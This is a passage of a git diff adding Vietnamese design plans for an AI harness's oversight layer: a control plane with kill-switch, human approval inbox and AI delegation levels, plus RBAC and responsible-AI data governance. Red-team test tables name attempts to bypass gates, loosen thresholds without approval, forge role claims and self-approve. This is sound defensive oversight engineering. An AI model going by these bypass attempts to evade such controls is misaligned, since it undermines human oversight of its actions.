xong trước**; nếu chưa, Domain Pack chỉ là lớp mỏng trên cấu trúc phẳng. Reuse thật chỉ được tuyên bố khi có **≥2 domain pack chạy được**, không tính entry demo. + +--- +_Liên quan: `CASAN_PLAN_01_RESTRUCTURE.md` · `CASAN_PLAN_06_ONBOARD.md` · `CASAN_PLAN_07/10` (quality rules)._ diff --git a/docs/plans/CASAN_PLAN_13_CONTROL_PLANE.md b/docs/plans/CASAN_PLAN_13_CONTROL_PLANE.md new file mode 100644 index 0000000..ea8cf3e --- /dev/null +++ b/docs/plans/CASAN_PLAN_13_CONTROL_PLANE.md @@ -0,0 +1,236 @@ +# KẾ HOẠCH 13 — Control Plane (Dashboard giám sát + quản lý + settings) + +> Status 2026-07-06: **🟡 Governance CORE implemented + tested (harness-owned).** +> **Sửa kiến trúc:** Control Plane là **tài sản của core harness**, KHÔNG nằm trong app +> OKR (OKR chỉ là testbed được gen). Governance core đã dời vào harness: +> `.specify/scripts/bash/control-plane-settings.py` (settings store versioned + +> audit hash-chain + deny-by-default + approval cho key nhạy cảm + rollback + verify), +> test `.specify/tests/phase-control-plane-tests.sh` **7/0 (WSL)**, nối CI +> (`phase-control-plane`). Phần đã nhét nhầm trong `apps/okr` đã **gỡ bỏ** (OKR về +> sạch: backend 46/0/3-skip, frontend 16/16). +> **Còn lại:** web app **React+NestJS độc lập** ở `control-plane/` (sau Plan-01 → +> `packages/casan-control-plane/`) — NestJS API **bọc** harness core (single-source +> governance) + React UI; RBAC đầy đủ (Plan-14); approval IdP thật (04+07-C4); +> FinOps/SLO; deploy prod TLS/OIDC (07 TIER 2). +> +> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`. +> Phụ thuộc: **07** (H5 audit, C4 approval/IdP, D3 dashboard hosting, kill-switch) · +> **14** (RBAC — ai được xem/đổi gì) · **04** (đổi setting = proposal→approval→apply) · +> **01** (đường dẫn sau restructure). **Chặn mềm** bởi 14 cho phần quản lý. + +## 1. Quyết định kiến trúc — web app control-plane thật + +> Repo đã có **frontend React + backend NestJS** thật. Control Plane là **web app +> thật** (admin/ops console) tích hợp vào stack hiện có. **Sàn tối thiểu = React + +> NestJS** (frontend + API thật) — không thấp hơn. **HTML tĩnh KHÔNG bao giờ được +> dùng làm control-plane.** Nếu cân nhắc bản nhẹ hơn, nó vẫn phải là web app thật +> (ví dụ SPA gọn + API tối thiểu), có đủ monitoring + settings API + governance — +> **không phải** trang tĩnh sinh sẵn. Dashboard HTML sinh sẵn hiện tại chỉ giữ vai +> trò **export/offline read-only**, không phải control-plane. + +```mermaid +flowchart LR + UI["Ops Console (React) +monitor + manage + settings"] --> API["Control-Plane API (NestJS)"] + API --> RBAC["RBAC (Plan-14)"] + API --> APPROVAL["Proposal→Approval (Plan-04 + 07-C4 IdP)"] + API --> AUDIT["H5 audit-chain (mọi thay đổi)"] + API --> STORE["Settings store +(versioned: policy/threshold/routing)"] + API --> READ["Read-only telemetry +(metrics/drift/incident/cost)"] + READ --> HARNESS["Core harness .specify/**"] + STORE --> HARNESS + style AUDIT fill:#fff3cd,stroke:#8a6d3b,stroke-width:2px + style RBAC fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px +``` + +## 2. Nguyên tắc (governance-first) +- **Đọc ≠ Ghi:** phần **monitoring** đọc telemetry là read-only; phần **management** + (đổi settings/threshold/kill-switch) đi qua **RBAC + proposal→approval + H5 audit**. +- **Mọi thay đổi setting đều bất biến & rollback được:** ghi audit-chain (H5) + + version cũ→mới + actor + reason; hoàn tác qua H7 checkpoint. +- **Không nới lỏng bảo mật ngầm:** đổi setting kiểu "nới" (giảm ngưỡng chặn, tắt + gate) bắt buộc nhãn `security-sensitive` + duyệt cấp cao (tái dùng Plan-04 §4.8). +- **Không đường vòng qua UI:** UI không được bypass gate — nó chỉ ghi vào settings + store mà harness đọc; harness vẫn là nguồn quyết định cuối. +- **Fail-loud:** control-plane sập/không đọc được telemetry → hiển thị `STALE`/`503`, + không hiển thị số liệu cũ như thật (tái dùng `/healthz` stale-aware của D3). + +## 3. Phạm vi tính năng + +### 3.1 Monitoring (mở rộng từ D3 read-only) +| Nhóm | Nội dung | Nguồn | +|---|---|---| +| Harness verdicts | pass/fail từng gate H1→H7 theo run/step | `.specify/logs`, evidence pack | +| Cost & token | cost_per_run, token_saved, budget vs actual | H6 telemetry, provider-usage.jsonl | +| Drift & quality | drift-report, H3 reject rate, hallucination rate | drift-detect, business-kpi | +| Incident | incident severity, kill-switch state | incident.sh, kill-switch.sh | +| Traceability | REQ→code→test coverage (Plan-10) | traceability-matrix.json | + +### 3.2 Management / Settings (mới — phần chính) +| Setting | Đối tượng file (harness đọc) | Ràng buộc đổi | +|---|---|---| +| Compression policy (Plan-08) | `compression-policy.yaml` | mode/ratio/exclude/must-keep; đổi → audit | +| Thresholds (cost/circuit/FP) | `thresholds.yaml` | siết = duyệt thường; nới = duyệt cấp cao | +| Model routing (Plan-03/02) | `model-fallback.yaml` | đổi provider/model → approval | +| Kill-switch (Plan-07 C7) | `kill-switch` scope | engage/disengage → HIGH audit + alert | +| Approval reviewers (Plan-07 C4) | `reviewers.registry` | chỉ org-admin (RBAC Plan-14) | +| Feature flags (bật/tắt track) | mới `feature-flags.yaml` | audit | + +### 3.3 FinOps & SLO (gộp vào đây, không tách plan) +- Budget theo dự án/org + cảnh báo vượt; biểu đồ xu hướng cost/token. +- SLO/KPI platform (block_rate, FP, token_saved, time_to_approval…) — kế thừa Future B6. + +### 3.4 Human-in-the-loop surface (hiện thân của "Human-led, AI-first" — FPT §4.3/§4.4) +> Control Plane là **nơi con người nhìn thấy & hành động** trong vòng lặp — làm cho +> tư tưởng Human-led, AI-first **hiển thị được**, không chỉ là approval token ngầm. + +| Thành phần | Nội dung | Nguồn | +|---|---|---| +| **Approvals inbox** | Hàng đợi hành động **đang chờ người duyệt** (setting nhạy cảm, nới ngưỡng, kill-switch, self-improve proposal) → duyệt/từ chối kèm lý do; verify JWT (SEC-07), chống replay (X-06), SoD | control-plane-settings + approval-verify + self-improve | +| **Delegation level L0–L5** | Đặt **mức uỷ quyền AI per project/action** theo CASAN §4.4 (L1 người duyệt toàn bộ … L5 tự chủ vùng đã governance); mức quyết định hành động nào cần vào inbox | mới `delegation-policy.yaml` (managed qua Control Plane) | +| **Oversight log** | Nhật ký **ai duyệt/từ chối, khi nào, vì sao** + human-oversight events (kill-switch, override) — cho RAI report (Plan-15) | H5 audit + governance-report | +| **Pending gate view** | Hiển thị step đang bị chặn chờ người (REQUIRE_APPROVAL) + context để quyết | security-check/action-gate verdict | + +**Tasks (bổ sung Plan-13):** +| Task | Việc | Verify | +|---|---|---| +| 13H.1 | `delegation-policy.yaml` (L0–L5 per project/action) + resolver: mức quyết định action nào cần approval | đổi mức → action tương ứng vào/không-vào inbox | +| 13H.2 | Approvals inbox API + UI: list pending → approve/reject (JWT + SoD + reason), ghi audit | reject có lý do; approve JWT giả → DENY | +| 13H.3 | Oversight log view (ai-duyệt-gì) + xuất vào RAI report | 1 quyết định → truy được actor/reason/time | + +> Nguyên tắc: mức uỷ quyền **chỉ giảm human-gate khi rủi ro thấp**; nới mức (tăng tự chủ) là thay đổi **security-sensitive** → cần approval cấp cao. Đây là điểm nối trực tiếp giữa tư tưởng CASAN và bề mặt vận hành. + +## 4. Tasks theo track + +### Track 1 — Read-only monitoring API + console +| Task | Việc | Verify | Done | +|---|---|---|---| +| 13.1 | Control-Plane API (NestJS) đọc telemetry/audit/traceability (read-only) | GET trả metrics đúng nguồn | API đọc được | +| 13.2 | Ops Console (React) hiển thị verdicts/cost/drift/incident/traceability | render đúng số liệu, stale→badge | console xem được | +| 13.3 | Stale-aware `/healthz` + hiển thị `STALE` khi telemetry chết | ngắt telemetry → UI báo stale, không giả tươi | fail-loud | + +### Track 2 — Settings store versioned + audit +| Task | Việc | Verify | Done | +|---|---|---|---| +| 13.4 | Settings store versioned (đọc/ghi các *.yaml harness dùng) | ghi setting → version mới + giữ cũ | store hoạt động | +| 13.5 | Mọi thay đổi → H5 audit-chain (actor/reason/diff) | sửa 1 setting → audit có bản ghi; sửa lén file → mismatch | bất biến | +| 13.6 | Rollback setting qua H7 checkpoint | rollback → về version cũ, có audit | hoàn tác được | + +### Track 3 — Management có governance (RBAC + approval) +| Task | Việc | Verify | Done | +|---|---|---|---| +| 13.7 | Gắn RBAC (Plan-14): role quyết định xem/đổi setting nào | viewer đổi setting → DENY; admin → cho | phân quyền | +| 13.8 | Đổi setting nhạy cảm → proposal→approval (Plan-04 + 07-C4 IdP) | nới ngưỡng → yêu cầu duyệt cấp cao mới apply | approval gate | +| 13.9 | Kill-switch engage/disengage qua UI → HIGH audit + alert (Plan-07 C7/D1) | engage → harness từ chối chạy + alert bắn | kill-switch UI | + +### Track 4 — FinOps / SLO / production deploy +| Task | Việc | Verify | Done | +|---|---|---|---| +| 13.10 | Budget theo dự án/org + cảnh báo vượt | vượt budget → cảnh báo + chặn theo policy | FinOps | +| 13.11 | SLO/KPI board (kế thừa Future B6) | KPI hiển thị theo thời gian | KPI board | +| 13.12 | Deploy production: host + TLS + OIDC (nối Plan-07 T2.3/T2.6) | truy cập qua HTTPS + OIDC, không auth → chặn | prod deploy | + +## 5. Red-team / test +| Test | Kỳ vọng | +|---|---| +| `adv-settings-change-no-audit` (đổi setting bỏ qua audit) | BLOCK / phát hiện mismatch | +| `adv-loosen-threshold-no-approval` (nới ngưỡng không duyệt) | DENY | +| `adv-viewer-writes-setting` (role thấp ghi setting) | DENY (RBAC) | +| `adv-ui-bypass-gate` (UI cố ghi verdict trực tiếp) | không thể — UI chỉ ghi settings store | +| `adv-stale-telemetry-shown-fresh` (telemetry chết vẫn hiện tươi) | UI báo STALE | +| `benign-settings-roundtrip` (đổi hợp lệ + rollback) | PASS + audit đầy đủ | + +## 6. Tiêu chí HOÀN THÀNH +- [ ] Monitoring đọc đúng telemetry, stale-aware, không giả số liệu. +- [ ] Mọi thay đổi setting: RBAC + (approval nếu nhạy cảm) + H5 audit + rollback được. +- [ ] UI không bypass được gate; harness vẫn là nguồn quyết định cuối. +- [ ] Compression-policy (Plan-08) + thresholds + model routing + kill-switch quản lý được qua console. +- [ ] Deploy production có TLS + OIDC (nối Plan-07 TIER 2). +- [ ] Red-team mục 5 xanh; core harness 218/0 không tụt. + +## 7. Ghi chú trung thực +- Đây là **[mới]** — repo hiện chỉ có dashboard read-only, chưa có management/settings/RBAC. +- Control Plane **không** thay quyền quyết định của harness; nó là lớp quản trị + quan sát có governance. +- Phần "quản lý" chỉ an toàn khi Plan-14 (RBAC) + Plan-04 (approval) + Plan-07 C4 (IdP) đủ vững. + +## 8. Kế hoạch thực thi — web app độc lập (P2, CHƯA build; ưu tiên core harness trước) + +> Governance core (settings + RBAC) đã nằm trong harness và test xanh. Web app chỉ +> là **lớp trình bày** bọc core — vì vậy **hoãn build** cho tới khi các phần core +> harness ưu tiên hơn xong. Đây là kế hoạch chi tiết để bất kỳ ai bắt tay được ngay. + +**Vị trí:** `AINative_OKR_CASAN5/control-plane/` (sibling backend/frontend/.specify; post Plan-01 → `packages/casan-control-plane/`). **KHÔNG** nằm trong `apps/okr`. + +**Nguyên tắc:** NestJS API **không** chứa logic governance — mọi set/rollback/authz **gọi harness CLI** (`control-plane-settings.py`, `rbac-check.py`) để governance chỉ có **một nguồn** trong harness. UI role-gated. Harness vẫn là nguồn quyết định cuối. + +**Cấu trúc & tasks:** + +| Task | Việc | Verify | +|---|---|---| +| 13W.1 | `control-plane/api` (NestJS): `main.ts`, `app.module.ts`, `harness.service.ts` (exec `control-plane-settings.py` + `rbac-check.py` qua child_process), `control-plane.controller.ts` (GET settings/monitoring/audit; POST set/rollback → gọi `rbac-check` trước, rồi `control-plane-settings.py`) | build tsc | +| 13W.2 | `api/test/control-plane.e2e.test.ts`: viewer→403, org-admin→200; set thật ghi vào harness store; sensitive không approval→403 | node --test | +| 13W.3 | `control-plane/web` (Vite React): `App.tsx`, `MonitoringCards`/`SettingsTable` (tái tạo), `lib/api.ts` gọi API | vite build | +| 13W.4 | `web/src/__tests__/*.test.tsx`: RBAC gating (canEdit), stale badge | vitest | +| 13W.5 | Deploy prod: host + TLS + OIDC (nối Plan-07 T2.3/T2.6) | 🔌 needs-infra | + +**Chi phí:** 2 `npm install` + 2 build + 2 test (Windows Node, `NODE_OPTIONS=--use-system-ca`). +**Bất biến:** app độc lập, không đụng OKR/core harness 245/0. + +--- + +## 8.6 CASAN Command Center — trực quan hóa TƯ TƯỞNG lõi cho lãnh đạo + +> **Mục tiêu:** tư tưởng CASAN không chỉ nằm trong code mà **hiện rõ trên giao diện** — +> lãnh đạo nhìn phát **wow ngay**. Nhưng "wow" phải là **wow thực chất**: mọi con số +> đọc từ artifact thật của core, **click xuống được bằng chứng**. Đây là "kính buồng +> lái", **không phải áp phích**. + +### Nguyên tắc bất di (chống "dashboard diễn") +1. **Real glass, not paint** — mỗi widget đọc từ artifact core ĐÃ CÓ (không bịa số). +2. **Provenance envelope bắt buộc** — mọi số kèm `{source, artifact_path, commit, run_at}`; UI hiển thị badge nguồn. Thiếu provenance → **không render số**, hiện "chưa có dữ liệu". +3. **Click-to-evidence khắp nơi** — click số → mở audit/trace/log gốc. Đây là điểm phân biệt sống còn với demo thường: *"Không tin? Bấm xem tận gốc."* +4. **Không vanity metric** — cấm widget mà data phải phỏng đoán (vd "ROI dự phóng"). Chỉ hiển thị cái core chứng minh được — nếu không, phá vỡ chính tư tưởng evidence-based. +5. **Fail-honest** — data cũ/không verify được → badge vàng "stale", audit hỏng → seal đỏ. Không bao giờ tô xanh khi chưa chứng thực. + +### 8 widget — mỗi cái map 1 tư tưởng, gắn nguồn thật + +| # | Widget | Tư tưởng CASAN | Artifact nguồn (đã có) | API | +|---|---|---|---|---| +| V1 | **Maturity gauge + radar H1–H7** (hero) | 5 mức CASAN + 7 thành phần harness | `scoring-report*.md`, governance-report | `GET /command/maturity` | +| V2 | **Human-in-the-loop panel**: vòng L0–L5 + approvals inbox + feed "AI đề xuất → người quyết" | Human-led, AI-first (§4.3/4.4) | delegation-policy, approval store, self-improve | `GET /command/hitl`, `POST /command/approve` | +| V3 | **Kill-switch đỏ + guardrail badges** (deny-by-default) | Kiểm soát / rollback / accountability | control-plane kill-switch state | `GET/POST /command/killswitch` | +| V4 | **Traceability Sankey**: Yêu cầu→Code→Test→Evidence, gap đỏ | Truy vết, không code mồ côi | `traceability-matrix.py --json` | `GET /command/traceability` | +| V5 | **Security posture**: "N tấn công → N chặn, block_rate %" + red-team | Security-by-default, fail-closed | attack-catalog, security-check verdicts | `GET /command/security` | +| V6 | **Token economy / FinOps**: token tiết kiệm nhờ nén → quy ra $ | Context engineering, kỷ luật chi phí | `context-compress.py` stats | `GET /command/finops` | +| V7 | **Certified-run seal**: CERTIFIED/NOT_CERTIFIED + toàn vẹn audit-chain | Evidence + accountability + audit integrity | `governance-report.py` + `verify-audit` | `GET /command/certification` | +| V8 | **Self-improve pipeline**: propose → chờ duyệt → applied | Tự cải thiện CÓ kiểm soát | `self-improve.py` proposals | `GET /command/selfimprove` | + +### 3 tính năng "chốt hạ" +- **Executive Briefing mode (1 nút)** — gộp thành 1 màn kể chuyện: *Trưởng thành → Kiểm soát (HITL + kill-switch) → An toàn (block rate) → Tiết kiệm ($) → Đã chứng thực (seal)*. **Song ngữ VI/EN** cho lãnh đạo + đối tác quốc tế. +- **Live governance ticker** — dòng sự kiện chạy realtime: *"14:03 AI xin nới ngưỡng → Trưởng phòng TỪ CHỐI"*, *"14:05 Certified run #128 ✅"*. Biến governance trừu tượng thành thứ **nhìn thấy đang sống**. +- **Evidence drawer** — panel trượt ra khi click bất kỳ số nào: hiển thị artifact JSON gốc + commit + link chạy lại lệnh core sinh ra số đó. + +### Data contract (để "wow thực chất") +- API **không tính toán governance** — chỉ **đọc & bọc** artifact core (`.specify/artifacts/*.json`) + gọi CLI (`governance-report.py`, `traceability-matrix.py --json`, `context-compress.py --stats`). Nguồn quyết định vẫn là harness. +- Thêm cờ `--json` cho các script core còn thiếu (traceability đã có; bổ sung cho security-check/context-compress/self-improve) → **task core**, verify trong WSL. +- Mỗi response bọc `envelope: {source, artifact_path, commit, run_at, verified: bool}`. + +### Tasks (bổ sung Plan-13; UI theo chuẩn UI/UX hạng nhất — sizing/touch-target/hover đồng nhất) +| Task | Việc | Verify | +|---|---|---| +| 13V.0 | **Core**: thêm `--json` cho security-check / context-compress / self-improve; chuẩn hóa envelope provenance | WSL: JSON hợp lệ, có `verified` | +| 13V.1 | API `command.controller.ts` (8 endpoint đọc-only + approve/killswitch) — chỉ đọc artifact + gọi CLI, RBAC-gated | e2e: viewer đọc OK, ghi→403 | +| 13V.2 | V1 Maturity gauge + radar H1–H7 (click cạnh → evidence drawer) | vitest: render từ fixture, click mở drawer | +| 13V.3 | V2 HITL panel + approvals inbox (approve/reject cần JWT+SoD+lý do) | reject có lý do; JWT giả→DENY | +| 13V.4 | V3 kill-switch + guardrail badges; V7 certified seal (audit tamper→đỏ) | tamper fixture → seal NOT_CERTIFIED | +| 13V.5 | V4 traceability Sankey + gap đỏ; V5 security posture; V6 FinOps token→$ | số khớp artifact fixture | +| 13V.6 | V8 self-improve pipeline (propose≠apply hiển thị rõ) | proposal chờ duyệt render đúng | +| 13V.7 | Executive Briefing mode (song ngữ VI/EN) + Live ticker (SSE/poll) + Evidence drawer dùng chung | vitest; toggle ngôn ngữ | +| 13V.8 | Provenance guard: thiếu envelope→"chưa có dữ liệu"; stale→badge vàng | fixture thiếu source → không render số | + +> **Ưu tiên:** nâng **A-webapp lên P2** (đòn bẩy giá trị lớn nhất: biến core vô hình → giá trị lãnh đạo thấy được). Vẫn sau các phần core harness P1. 13V.0 (core `--json`) làm trước, verify WSL; phần UI làm khi dựng web app. + +--- +_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (D3 dashboard, C4 IdP, C7 kill-switch, TIER 2 deploy) · `CASAN_PLAN_14_RBAC.md` (phân quyền) · `CASAN_PLAN_04_SELFIMPROVE.md` (proposal→approval) · `CASAN_PLAN_08_CONTEXT_COMPRESSION.md` (compression-policy là settings) · `CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md` (RAI/data view)._ diff --git a/docs/plans/CASAN_PLAN_14_RBAC.md b/docs/plans/CASAN_PLAN_14_RBAC.md new file mode 100644 index 0000000..c6052e0 --- /dev/null +++ b/docs/plans/CASAN_PLAN_14_RBAC.md @@ -0,0 +1,88 @@ +# KẾ HOẠCH 14 — RBAC & Quản trị đa dự án (Multi-tenant governance) + +> Status 2026-07-06: **� core implemented + tested (harness-owned).** +> RBAC decision engine đã dời/đặt trong harness: `.specify/scripts/bash/rbac-check.py` +> (role×resource:action, scope org/project, deny-by-default fail-closed, tenant +> isolation, sensitive-settings-write chỉ org-admin, SoD chống tự duyệt). Test +> `.specify/tests/phase-rbac-tests.sh` **10/0 (WSL)**, nối CI (`phase-rbac`). +> Còn lại: ánh xạ IdP claim → role thật (nối 07-C4), enforcement point trong web app +> Control Plane (Plan-13), audit mọi quyết định RBAC vào H5, quản lý role qua UI. +> +> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`. +> Phụ thuộc: **07 C4** (IdP/OIDC — nguồn danh tính) · **13** (Control Plane tiêu thụ +> RBAC) · **06** (đa dự án — phạm vi tenant). **Chặn mềm** phần quản lý của 13. + +## 1. Bối cảnh +- **Đã có:** IdP/OIDC JWT (RS256) chứng minh `sub`/`role`/`exp` + bind request + (Plan-07 C4); `reviewers.registry`; `project-registry.json` (project + domain). +- **Chưa có:** ma trận quyền (role × resource × action), phạm vi tenant (org → + project), kế thừa quyền, và điểm thực thi (enforcement point) thống nhất. + +## 2. Nguyên tắc +- **Least privilege mặc định:** không role → không quyền; quyền phải cấp tường minh. +- **Deny-by-default + fail-closed:** thiếu/không rõ quyền → DENY, không "cho tạm". +- **Tenant isolation:** dữ liệu/domain/telemetry của dự án A không lộ sang dự án B. +- **Separation of Duties (SoD):** người đề xuất ≠ người duyệt (kế thừa C4). +- **Mọi quyết định RBAC ghi audit (H5):** ai, tài nguyên nào, cho/từ chối, vì sao. +- **Nguồn danh tính là IdP (C4), không tự chế:** RBAC chỉ ánh xạ identity→quyền. + +## 3. Mô hình quyền (đề xuất) + +```mermaid +flowchart LR + ORG["Org (tenant gốc)"] --> PROJ["Project (OKR, dự án 2…)"] + PROJ --> RES["Resource: settings / telemetry / approval / kill-switch / domain-data"] + ROLE["Role: org-admin · project-admin · approver · operator · viewer · auditor"] --> PERM{"Permission
role × resource × action"} + RES --> PERM + PERM --> ENF["Enforcement point
(Control-Plane API + harness gate)"] + ENF --> AUDIT["H5 audit"] + style ENF fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px + style AUDIT fill:#fff3cd,stroke:#8a6d3b,stroke-width:2px +``` + +### 3.1 Role gợi ý +| Role | Xem | Đổi setting | Duyệt | Kill-switch | Phạm vi | +|---|:--:|:--:|:--:|:--:|---| +| org-admin | ✓ | ✓ | ✓ | ✓ | toàn org | +| project-admin | ✓ | ✓ (không nhạy cảm) | – | project scope | 1 project | +| approver | ✓ | – | ✓ | – | được gán | +| operator | ✓ | – | – | engage (báo cáo) | 1 project | +| viewer | ✓ | – | – | – | được gán | +| auditor | ✓ (+audit log) | – | – | – | toàn org (read) | + +## 4. Tasks + +| Task | Việc | File/Đối tượng | Verify | Done | +|---|---|---|---|---| +| 14.1 | Định nghĩa schema `rbac-policy.yaml` (role × resource × action + scope) | mới `config/rbac-policy.yaml` | policy load hợp lệ | schema chốt | +| 14.2 | Ánh xạ IdP claim (`role`, `groups`) → role RBAC | nối Plan-07 C4 | JWT role → RBAC role đúng | mapping chạy | +| 14.3 | Enforcement point thống nhất: mọi API/gate gọi `rbac-check` trước hành động | mới `rbac-check.sh`/service | thiếu quyền → DENY fail-closed | 1 điểm thực thi | +| 14.4 | Tenant isolation: telemetry/domain-data theo project scope | Control-Plane API | user project A không đọc B | cách ly tenant | +| 14.5 | SoD: người đề xuất ≠ người duyệt (kế thừa C4) | governance-check | tự duyệt đề xuất của mình → DENY | SoD giữ | +| 14.6 | Ghi audit mọi quyết định RBAC (allow/deny + reason) | H5 audit | deny có bản ghi truy vết | audit đầy đủ | +| 14.7 | Quản lý role/gán quyền qua Control Plane (chỉ org-admin) | Plan-13 UI | non-admin đổi role → DENY | quản trị quyền | + +## 5. Red-team / test +| Test | Kỳ vọng | +|---|---| +| `adv-viewer-writes-setting` | DENY | +| `adv-cross-tenant-read` (project A đọc B) | DENY | +| `adv-self-approve` (đề xuất tự duyệt) | DENY (SoD) | +| `adv-missing-role-defaults-allow` (thiếu role vẫn cho) | DENY (deny-by-default) | +| `adv-forged-role-claim` (JWT role giả) | DENY (verify chữ ký IdP — C4) | +| `benign-role-grant-roundtrip` (org-admin gán role hợp lệ) | PASS + audit | + +## 6. Tiêu chí HOÀN THÀNH +- [ ] `rbac-policy.yaml` + enforcement point thống nhất, deny-by-default fail-closed. +- [ ] IdP claim → RBAC role; role giả bị chặn (verify qua C4). +- [ ] Tenant isolation: không rò dữ liệu chéo dự án. +- [ ] SoD giữ; mọi quyết định RBAC có audit H5. +- [ ] Control Plane (Plan-13) dùng RBAC cho toàn bộ hành động quản lý. +- [ ] Red-team mục 5 xanh; core harness 218/0 không tụt. + +## 7. Ghi chú trung thực +- **[mới]** — hiện chỉ có approval-identity (C4), chưa có mô hình quyền đầy đủ. +- RBAC không thay IdP; nó ánh xạ identity (đã verify) → quyền, thực thi fail-closed. + +--- +_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (C4 IdP/OIDC — nguồn danh tính) · `CASAN_PLAN_13_CONTROL_PLANE.md` (tiêu thụ RBAC) · `CASAN_PLAN_06_ONBOARD.md` (đa dự án → phạm vi tenant)._ diff --git a/docs/plans/CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md b/docs/plans/CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md new file mode 100644 index 0000000..5dcd4ea --- /dev/null +++ b/docs/plans/CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md @@ -0,0 +1,80 @@ +# KẾ HOẠCH 15 — Responsible AI & Data Governance + +> Status 2026-07-06: **🟡 core implemented + tested (harness-owned) + enforced.** +> Guard đã đặt trong harness: `.specify/scripts/bash/rai-guard.py` — `classify` +> (PII/confidential/internal), `check-cloud` (PII/confidential → cloud không approval +> ⇒ DENY, mở rộng C3), `model-card` (chặn model không card/thiếu field), **`retention`** +> (gate breach + purge-có-audit), **`report`** (phân bố nhạy cảm). **Enforcement:** +> `harness-preflight.sh` chặn PII→cloud TRƯỚC model-call; `model-router.sh` gọi preflight +> khi `CASAN_PREFLIGHT=1` (opt-in, short-circuit). Test `phase-rai-tests.sh` **12/0** + +> `phase-preflight-tests.sh` **5/0** (WSL), nối CI. +> Còn lại: RAI report vào Evidence Pack (đã có governance-report tie-in); view trên Control Plane. +> +> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`. +> Phụ thuộc: **07** (C3 data-exfil, H5 audit) · **13** (view RAI/data trên Control +> Plane) · **09** (Evidence Pack — nơi xuất báo cáo RAI). Bổ trợ **10** (traceability). + +## 1. Bối cảnh (đối chiếu FPT §14.3–14.4) +- **§14.3 Data readiness:** dữ liệu cần có chủ sở hữu, phân loại (public/internal/ + confidential/PII), chất lượng, và chính sách vòng đời (retention/xoá). +- **§14.4 Responsible AI:** minh bạch (model card, nguồn dữ liệu), công bằng/an toàn + nội dung, con người giám sát, khả năng giải trình & truy vết quyết định của AI. +- **Đã có (điểm):** C3 mask PII trong audit; H4 content-safety/injection; H5 audit + chain; H3 faithfulness. **Chưa có (khung):** classification policy, retention, + model card, RAI report. + +## 2. Nguyên tắc +- **Phân loại trước khi xử lý:** dữ liệu vào pipeline phải gắn nhãn phân loại; PII/ + confidential kích hoạt kiểm soát chặt hơn (không lên cloud model nếu chưa duyệt). +- **Minh bạch model:** mỗi model dùng (local/cloud) có **model card** (nguồn, phiên + bản/digest, vai trò, giới hạn, rủi ro) — nối Plan-07 B4 (digest pinning). +- **Con người giám sát rủi ro cao:** quyết định rủi ro cao có human-in-the-loop + (nối C4 approval). +- **Giải trình được:** mọi output AR có thể truy về requirement→code→test (Plan-10) + + prompt/model/token (H5) → RAI report tổng hợp. +- **Retention & xoá có chính sách:** dữ liệu/telemetry có thời hạn giữ; xoá ghi audit. + +## 3. Tasks + +### Track 1 — Data classification & PII/retention +| Task | Việc | File | Verify | Done | +|---|---|---|---|---| +| 15.1 | `data-classification.yaml`: nhãn (public/internal/confidential/PII) + rule gắn nhãn | mới `config/data-classification.yaml` | dữ liệu gắn nhãn đúng | schema chốt | +| 15.2 | Gate: PII/confidential **không** lên cloud model nếu chưa duyệt (nối C3/C4) | `data-exfil-guard.sh` mở rộng | PII→cloud chưa duyệt → BLOCK | gate chạy | +| 15.3 | Retention policy + xoá có audit | mới `retention-policy.yaml` + script | hết hạn → xoá + audit bản ghi | vòng đời dữ liệu | + +### Track 2 — Model card & minh bạch +| Task | Việc | File | Verify | Done | +|---|---|---|---|---| +| 15.4 | `model-card.yaml` mỗi model (nguồn/digest/vai trò/giới hạn/rủi ro) | mới, nối B4 digest | model dùng có card + digest khớp | minh bạch model | +| 15.5 | Chặn model không có card/không pinned trong prod | `model-router.sh` | model lạ → yêu cầu card/approval | provenance | + +### Track 3 — RAI report & giải trình +| Task | Việc | File | Verify | Done | +|---|---|---|---|---| +| 15.6 | RAI report tổng hợp: classification coverage, PII handling, model cards, human-oversight events, traceability | Evidence Pack (Plan-09) | pack có mục RAI | báo cáo RAI | +| 15.7 | Giải trình 1 output: truy REQ→code→test (Plan-10) + prompt/model/token (H5) | traceability + audit | 1 artifact → truy vết đầy đủ | giải trình được | +| 15.8 | View RAI/data trên Control Plane (Plan-13) | Plan-13 UI | hiển thị classification/model-card/RAI | quan sát | + +## 4. Red-team / test +| Test | Kỳ vọng | +|---|---| +| `adv-pii-to-cloud-unapproved` (PII lên cloud chưa duyệt) | BLOCK | +| `adv-model-without-card` (dùng model không có card trong prod) | BLOCK/approval | +| `adv-retention-bypass` (giữ dữ liệu quá hạn không xoá) | phát hiện + cảnh báo | +| `adv-unexplainable-output` (output không truy được về REQ/prompt) | RAI report đánh dấu thiếu | +| `benign-rai-report` (run hợp lệ) | PASS + RAI report đầy đủ | + +## 5. Tiêu chí HOÀN THÀNH +- [ ] Dữ liệu được phân loại; PII/confidential có kiểm soát cloud + retention có audit. +- [ ] Mỗi model có model card + digest pinned; model không card bị chặn trong prod. +- [ ] RAI report xuất qua Evidence Pack; 1 output bất kỳ giải trình được đầy đủ. +- [ ] View RAI/data trên Control Plane. +- [ ] Red-team mục 4 xanh; core harness 218/0 không tụt. + +## 6. Ghi chú trung thực +- **[mới]** — hiện chỉ có kiểm soát điểm (C3 mask PII), chưa có khung data governance / RAI. +- Đây là mảng bắt buộc cho bar tổ chức "rất cao" (FPT §14.3–14.4), không phải tính năng phụ. + +--- +_Liên quan: `FPT_CASAN_Full.md` §14.3–14.4 · `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (C3 data-exfil, B4 digest, C4 approval) · `CASAN_PLAN_09_EVIDENCE_PACK.md` (xuất RAI report) · `CASAN_PLAN_10_TRACEABILITY_EVAL.md` (giải trình) · `CASAN_PLAN_13_CONTROL_PLANE.md` (view)._ diff --git a/docs/plans/CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md b/docs/plans/CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md new file mode 100644 index 0000000..c29ecfc --- /dev/null +++ 